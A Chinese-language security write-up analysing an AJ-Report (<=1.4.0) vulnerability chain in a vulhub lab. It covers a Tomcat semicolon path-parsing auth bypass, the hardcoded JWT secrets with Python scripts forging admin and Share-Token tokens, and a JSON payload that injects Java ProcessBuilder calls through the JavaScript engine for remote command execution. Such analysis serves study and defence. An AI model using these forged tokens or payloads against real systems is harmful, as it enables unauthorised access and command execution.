之前打ctf线下赛遇到过这个系统,一直想分析来着,搁置到现在。。。

影响版本

<=1.4.0

环境搭建

无敌的p神没得说,还贴心配置了调试端口

https://github.com/vulhub/vulhub/blob/master/aj-report/CNVD-2024-15077/README.zh-cn.md

权限绕过

这类的漏洞一般就是Filter之类的写的有问题导致的权限绕过,直接来到TokenFilter

image.png

可以看到这里直接用了getRequestURI 获取的接口,这个东西之前就爆出来有解析差异导致的权限绕过,下面刚刚好有个url包含swagger-ui 就直接放行,那么利用; 就可以直接绕过权限校验

image.png

可以看到这样直接就绕过了权限校验,之前没分析过,借此分析一下。

Tomcat和getRequestURI结合导致的权限绕过

tomcat的处理在CoyoteAdapter.service() 方法中,这里我对getRequestURI 和这个service 都下了断点,首先在service 断住了,说明是tomcat先处理url,调用栈如下

1
2
3
4
5
6
7
8
9
10
service:303, CoyoteAdapter (org.apache.catalina.connector)
service:374, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:868, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1590, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:750, Thread (java.lang)

最终的分号处理是在parsePathParameters ,跟一下具体的处理过程

image.png

可以看到最终的处理是将; 后的给截断了,如果截断之后还有第二个那么就继续循环处理直到没有,具体的一步步这里就不写了太多了,但是似乎并没有返回什么,先继续往下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (pathParamEnd >= 0) {
if (charset != null) {
pv = new String(uriBC.getBuffer(), start + pathParamStart,
pathParamEnd - pathParamStart, charset);
}
// Extract path param from decoded request URI
byte[] buf = uriBC.getBuffer();
for (int i = 0; i < end - start - pathParamEnd; i++) {
buf[start + semicolon + i]
= buf[start + i + pathParamEnd];
}
uriBC.setBytes(buf, start,
end - start - pathParamEnd + semicolon);
} else {
if (charset != null) {
pv = new String(uriBC.getBuffer(), start + pathParamStart,
(end - start) - pathParamStart, charset);
}
uriBC.setEnd(start + semicolon);
}

主要是这段代码

image.png

if中是在找到;之后的第一个/ 处理情况,即将/ 之后的直接覆盖;到/ 之间的字符,而else就是在; 之后没找到/ ,那么就直接去掉;之后的字符

image.png

最终url解析就如下

image.png

此时getRequestURI() 再进行获取

image.png

这里获取是直接返回原本的字符,不进行任何处理,而下面又有这样一段代码

1
2
3
4
5
// swagger相关的直接放行
if (uri.contains("swagger-ui") || uri.contains("swagger-resources")) {
filterChain.doFilter(request, response);
return;
}

再加上tomcat处理映射是基于tomcat处理后的结果进行映射,所以导致了权限绕过

image.png

parsePathParameters处理完还有normalize 的处理

image.png

这里注释写了处理的情况是\ // /./ /../ 这四种,具体就不一步步分析了,直接看gpt结果

image.png

相当于是做一个标准化

JWT硬编码导致的权限绕过

这里在上面的校验完成后会有一个jwt的校验

image.png

跟踪一下这里jwt是怎么生成的,一般的生成调用会在登录处

image.png

跟踪这个login的实现

image.png

在AccessUserServiceImpl.java下找到调用创建jwt的方法,跟进去得到创建逻辑

1
2
3
4
public String createToken(String username, String uuid, Integer type, String tenantCode) {
String token = JWT.create().withClaim("username", username).withClaim("uuid", uuid).withClaim("type", type).withClaim("tenant", tenantCode).sign(Algorithm.HMAC256(this.gaeaProperties.getSecurity().getJwtSecret()));
return token;
}

这里跟进getJwtSecret 方法找到jwt的硬编码为anji_plus_gaea_p@ss1234 ,根据逻辑生成一下token

1
2
3
4
5
6
7
8
9
10
def getFakeToken():
payload = {
"type": 0,
"uuid": "627750b8be86421d94facec7e4dba555",
"tenant": "tenantCode",
"username": "admin"
}
fakeToken = jwt.encode(payload,'anji_plus_gaea_p@ss1234',algorithm='HS256')
print(fakeToken)
return fakeToken

后面发现光有这个没啥用

1
2
3
4
5
6
String shareToken = request.getHeader("Share-Token");

if (StringUtils.isBlank(token) && StringUtils.isBlank(shareToken)) {
error(response);
return;
}

这里会检测Share-Token,没设置这个的话在这里就抛异常了,这个的生成逻辑在JwtUtil.java下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class JwtUtil {

private static final String JWT_SECRET = "aj-report";

public static String createToken(String reportCode, String shareCode, Date expires) {
return createToken(reportCode, shareCode, null, expires);
}

public static String createToken(String reportCode, String shareCode, String password, Date expires) {
String token = JWT.create()
.withIssuedAt(new Date())
.withExpiresAt(expires)
.withClaim("reportCode", reportCode)
.withClaim("shareCode", shareCode)
.withClaim("sharePassword", password)
.sign(Algorithm.HMAC256(JWT_SECRET));
return token;
}

同样的是硬编码,这里的reportCode即对应下面的判断逻辑,你要访问的接口中有你传入的reportCode即可

image.png

1
2
3
4
5
6
7
8
9
10
def getFakeShareToken():
payload = {
"shareCode": 1,
"reportCode": "/dataSetParam", #通用性
"exp": 1742358830,
"sharePassword": 1
}
fakeShareToken = jwt.encode(payload,'aj-report',algorithm='HS256')
print(fakeShareToken)
return fakeShareToken

这样就可绕过权限校验,当然为了通用性,reportCode可直接设为/即可

image.png

RCE分析

接口位置在DataSetParamController.java

1
2
3
4
5
6
7
@PostMapping("/verification")
public ResponseBean verification(@Validated @RequestBody DataSetParamValidationParam param) {
DataSetParamDto dto = new DataSetParamDto();
dto.setSampleItem(param.getSampleItem());
dto.setValidationRules(param.getValidationRules());
return responseSuccessWithData(dataSetParamService.verification(dto));
}

跟进verification 方法,该方法有两个重写,不过我们传入的是对象,所以会走下面这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@Override
public Object verification(DataSetParamDto dataSetParamDto) {

String validationRules = dataSetParamDto.getValidationRules();
if (StringUtils.isNotBlank(validationRules)) {
try {
engine.eval(validationRules);
if(engine instanceof Invocable){
Invocable invocable = (Invocable) engine;
Object exec = invocable.invokeFunction("verification", dataSetParamDto);
ObjectMapper objectMapper = new ObjectMapper();
if (exec instanceof Boolean) {
return objectMapper.convertValue(exec, Boolean.class);
}else {
return objectMapper.convertValue(exec, String.class);
}

}

} catch (Exception ex) {
throw BusinessExceptionBuilder.build(ResponseCode.EXECUTE_JS_ERROR, ex.getMessage());
}

}
return true;
}

validationRules 参数会流入engine.eval() 中,engine 为一个js引擎

1
2
3
4
5
private ScriptEngine engine;
{
ScriptEngineManager manager = new ScriptEngineManager();
engine = manager.getEngineByName("JavaScript");
}

这个就很明显的Java调用js命令执行,参数构造参考DataSetParamDto类即可

1
2
3
4
5
6
7
8
9
{
"ParamName": "",
"paramDesc": "",
"paramType": "",
"sampleItem": "1",
"mandatory": true,
"requiredFlag": 1,
"validationRules": "function verification(data){a = new java.lang.ProcessBuilder(\"ls\", \"/\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"
}

image.png

后续这里的修复是把三个常用执行命令的类ban了

image.png

针对绕过暂时先不看了,差点又难产了。。。

参考

https://xz.aliyun.com/news/7139

https://xz.aliyun.com/news/13897